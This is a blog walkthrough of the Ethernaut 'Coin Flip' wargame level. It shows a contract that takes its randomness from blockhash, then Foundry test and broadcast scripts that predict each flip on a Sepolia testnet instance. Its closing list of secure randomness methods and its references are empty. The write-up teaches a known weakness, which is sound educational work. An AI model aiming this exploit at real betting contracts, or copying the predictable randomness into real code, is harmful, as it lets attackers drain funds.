Ethernaut Series - 03 (Coin Flip)

hexbytehexbyte
3 min read

Overview

This level presents us with a coin flipping game. We need to maintain a winning streak of 10 by guessing the outcome of a coin flip.

The concept being taught here is the one about randomness. There is no inherit source of randomness in Ethereum thus to generate randomness, we need to rely on data from blocks i.e. block.number, hash, etc. As random as they might look, these variables are deterministic.

The function flip() takes a bool value i.e. true/false and the value in consecutiveWins increases if this supplied boolean matches the side variable’s value and is reset to 0 if not.

The contract provided to us is:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

The side variable which is compared here has blockvalue as it’s source of randomness. Lets take a look at how it is generated:

 uint256 blockValue = uint256(blockhash(block.number - 1));

The blockValue is generated as such and then this value is divided by FACTOR which is known to us as well and this result is stored in coinFlip. If this value is 1 then side is set to True and if not, then it is set to False. Since we have all the input variables to generate this value, we can create a contract to guess the correct outcome.


Proof-Of-Concept

We simply need to run our test script using the following command:

//SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "../original-contracts/level3.sol";
import "../lib/forge-std/src/Test.sol";
import "node_modules/@openzeppelin/contracts/math/SafeMath.sol";

contract POC is Test{
    using SafeMath for uint256;
    CoinFlip level3 = CoinFlip(<address>);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function test() external {
        vm.startBroadcast();

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side) {
            level3.flip(true); 
        } else {
            level3.flip(false);
        }

        vm.stopBroadcast();
    }
}

Command:

forge test --match-path test/test3.sol -vvvv

This will run our test, which can be broadcasted to the Sepolia testnet using the following script and command:

//SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

import "../original-contracts/level3.sol";
import "../lib/forge-std/src/Script.sol";
import "node_modules/@openzeppelin/contracts/math/SafeMath.sol";

contract POC is Script{
    using SafeMath for uint256;
    CoinFlip level3 = CoinFlip(0xa7604317Ebe188501578474781f18e8750d6FD3E);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function run() external {
        vm.startBroadcast();

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side) {
            level3.flip(true); 
        } else {
            level3.flip(false);
        }

        vm.stopBroadcast();
    }
}

Command:

forge script ./script/script3.sol --private-key $PKEY --broadcast -vvvv --rpc-url $RPC_URL

Following this, we need to execute this script 10 times so we have 10 consecutive wins. After having 10 wins, we can click “Submit the instance” to complete the level.


Learning

Generating randomness directly on Ethereum is challenging and complex. Since all blockchain data is publicly accessible, it's important to handle sensitive information carefully.

To generate secure random numbers, you can use the following methods:

References:

0
Subscribe to my newsletter

Read articles from hexbyte directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

hexbyte
hexbyte